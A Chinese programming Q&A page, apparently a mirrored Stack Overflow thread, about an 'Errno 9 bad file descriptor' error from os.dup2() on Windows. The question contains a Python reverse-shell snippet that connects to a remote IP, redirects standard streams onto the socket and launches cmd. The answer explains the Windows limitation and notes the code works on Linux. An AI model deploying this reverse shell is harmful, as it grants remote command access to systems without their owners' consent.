Python 在windows上使用os.dup2()时,出现一个错误:OSError:[Errno 9]错误的文件描述符

Python 在windows上使用os.dup2()时,出现一个错误:OSError:[Errno 9]错误的文件描述符,python,sockets,Python,Sockets,我想在我的服务器上获取我的windows shell,我使用以下代码 import socket,os,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.9.9.25',10089)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['cmd','/u']); 我发

我想在我的服务器上获取我的windows shell,我使用以下代码

import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);
我发现了错误

OSError: [Errno 9] Bad file descriptor.

如果您阅读过有关socket.fileno()的文档,您就会知道这在Windows中不起作用,引用:

socket.fileno()

返回套接字的文件描述符(一个小整数)。这对select.select()很有用

在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(如os.fdopen())。Unix 没有这个限制

注意:

我在Ubuntu(Linux系统)上试过你的代码,它运行得很好,没有任何麻烦